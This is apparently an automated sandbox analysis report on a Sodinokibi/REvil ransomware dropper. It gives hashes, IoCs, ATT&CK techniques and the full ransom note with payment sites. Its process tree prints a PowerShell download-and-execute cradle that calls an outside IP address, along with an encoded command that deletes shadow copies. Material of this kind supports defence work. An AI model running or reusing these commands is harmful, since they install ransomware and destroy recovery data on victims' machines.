sodinokibi | bf0760cd225ed3fc4df18cf25a62e6f2f45c50f3e4726d258981e81b68e2bd65

General

Target

421a8c43602d912fb7d54f525915eee9.bat
Size

220B
MD5

c786b66ecefc50b20289a9d38575b5a2
SHA1

a1851402b42988ea349215149d3ca3b2890eb425
SHA256

bf0760cd225ed3fc4df18cf25a62e6f2f45c50f3e4726d258981e81b68e2bd65
SHA512

3dc1d42fda27a8b7c9e3c2b32c957f19a619d035ed0609fea3181efac5c037e516b4184659e69fc0821db6fb56f68052f7a23248c05ddac25964357dd6193a77

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/421a8c43602d912fb7d54f525915eee9

Extracted

Path

C:\c82t9od-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and stolen, we already have 250gb your files. You can check it: all files on your system has extension c82t9od. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A8D042B21194D3AC 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/A8D042B21194D3AC Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: OeWQrbrE6wEPypEOwnvGSrssA8EjpSX7fRnA9lSjST6jCBRaBn9K8Rwgs5O9aBmO OZ7yIyDRl7WwsvmNABcxXO5ZlyItoLtHEoIFw+m2dJKMLjBATbUbX/LpGv9l/laC m/AsP3s6qiJ/tP2xc52NPJrwZN/9+ycwyrBdWoknjlwI8Hdg/ASosOY+/zA6DLa6 13p7a1+fi6480jrTxVMT/ozVplAJRBU2zGESPavJCd4eAw4Mtc4URYd1adbTcd/i 8ifVPQNNEt8Cmk5mSG4NITrQFClF+lUvnV9VjdZb+JozinI8ue1jxiuB4GeS7+si 4S9PGHXcfViIk/zAevS0Q2c+a6fPruPXysDi7kWvgeU2Uo1bZAgIy7/s9HCGTk7u 8N7IemOiso54LfcDB0cFMEiOx+IHUFPnML8Y/HMY6SFqIe495sL+tfzgSTn8EBRR kc95Q4alTCe7pDcHEe91Q2NbRUlmWBvPhXGIaM1b9pl9HonCMrCMtNJcpOVCjxee 9++qZE3QuvzI9RTK2mDQU234DSXk+EHcjU0enx9IUMxprn6znMtT2lVaGwDxdVIt NbXYcVJnatdjKbwSs22O8FN5PMUDeFVdRXgTv9Jcqv5UOAqiCFZo+nu0RY6hD6hp DXfoAr5QKqllZoITor3Z30ujo6tPIYoRw9SyYavZPnyuc6JhASayJcDDSxcziNBI ygg4+4Z9SFGIXbdXFQDjgiZNCHpkTVJ65QsXTacL+g3cFxZOf9E6lyY/w1kyLeKk bk8Ez/Bh0zoN5rxyqiTlaP6lJtx8wJHXd90pN0bEPtTrGeJ18hkp74klO8n3OFMx QtscuBsriKBhZuIOtnJz7WiELbmwkEcjUfCvBAG+CB+zOrQlEelCccOF+gVa3ZnS w5kTT5xAXwgQcFatccQumJjHwpz9t1scaUU9Jl3k6g549PfLcN1OMfTi1lqpSbZN IDQUebGsXKbPn7Zjc1pMs8V7p0vV5TGzK+cmXiAnWGmU65rwMj6vr+dopv1a5PI7 gteA5i/zfXUIWuwjs5rylze+o/RNKVIG1VlEBAAUujJplTecIYf2b+oQxnMH/Azo zqOSYGa4ErGrccVkHDcMlKgFT4sUMyniPiC5HzI+cCLH7+PxF3oGfy7GLv3JVhCT bigWWsNOkek+JLfp7eNoQx9cMx5JG2+1GrTJEkBMiJQjU3RzsyLEM34s1bnKXlUf agHaizSjRtUiEekfpxbFCCVCV06yLsGjg3YuQM9yVF21dFHHJMbVWG2TUMs9fwra M1F3y9HG7UXllveyoUqrP6nOcTBVyNraXnk3bK2HGbuFBg== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A8D042B21194D3AC

http://decryptor.cc/A8D042B21194D3AC

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 800 wrote to memory of 1140	800	cmd.exe	powershell.exe
PID 1140 wrote to memory of 1776	1140	powershell.exe	powershell.exe
PID 1140 wrote to memory of 1776	1140	powershell.exe	powershell.exe
PID 1140 wrote to memory of 1776	1140	powershell.exe	powershell.exe
PID 1140 wrote to memory of 1776	1140	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	1776	powershell.exe
Token: SeBackupPrivilege	1588	vssvc.exe
Token: SeRestorePrivilege	1588	vssvc.exe
Token: SeAuditPrivilege	1588	vssvc.exe
Token: SeTakeOwnershipPrivilege	1140	powershell.exe

Drops file in Program Files directory 26 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\CloseCompare.001	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromCompare.aiff	powershell.exe
File opened for modification	\??\c:\program files\DebugConnect.shtml	powershell.exe
File opened for modification	\??\c:\program files\InitializeSubmit.vstm	powershell.exe
File opened for modification	\??\c:\program files\MountCopy.docx	powershell.exe
File opened for modification	\??\c:\program files\ProtectRevoke.xla	powershell.exe
File opened for modification	\??\c:\program files\UnblockExpand.dot	powershell.exe
File opened for modification	\??\c:\program files\CheckpointNew.pcx	powershell.exe
File opened for modification	\??\c:\program files\ClearUnlock.snd	powershell.exe
File opened for modification	\??\c:\program files\DenyAssert.3gp2	powershell.exe
File opened for modification	\??\c:\program files\MergePop.gif	powershell.exe
File opened for modification	\??\c:\program files\PushPop.MTS	powershell.exe
File opened for modification	\??\c:\program files\RenameSplit.gif	powershell.exe
File opened for modification	\??\c:\program files\SkipExpand.ttc	powershell.exe
File opened for modification	\??\c:\program files\SyncExit.TS	powershell.exe
File created	\??\c:\program files\c82t9od-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\c82t9od-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\c82t9od-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\NewMount.3gpp	powershell.exe
File opened for modification	\??\c:\program files\RedoRestart.asf	powershell.exe
File opened for modification	\??\c:\program files\RegisterGet.mp4	powershell.exe
File opened for modification	\??\c:\program files\WatchLimit.jpeg	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\c82t9od-readme.txt	powershell.exe
File created	\??\c:\program files (x86)\c82t9od-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\WatchSync.vb	powershell.exe
File opened for modification	\??\c:\program files\UseWait.mpeg	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1140 powershell.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1140 powershell.exe
1140 powershell.exe
1140 powershell.exe
1776 powershell.exe
1776 powershell.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1140 powershell.exe

pid	process
1140	powershell.exe

pid	process
1140	powershell.exe
1140	powershell.exe
1140	powershell.exe
1776	powershell.exe
1776	powershell.exe

flow	pid	process
4	1140	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\421a8c43602d912fb7d54f525915eee9.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:800

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/421a8c43602d912fb7d54f525915eee9');Invoke-GIEGCPPTNOCAU;Start-Sleep -s 10000"
2⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:1140

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1776

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads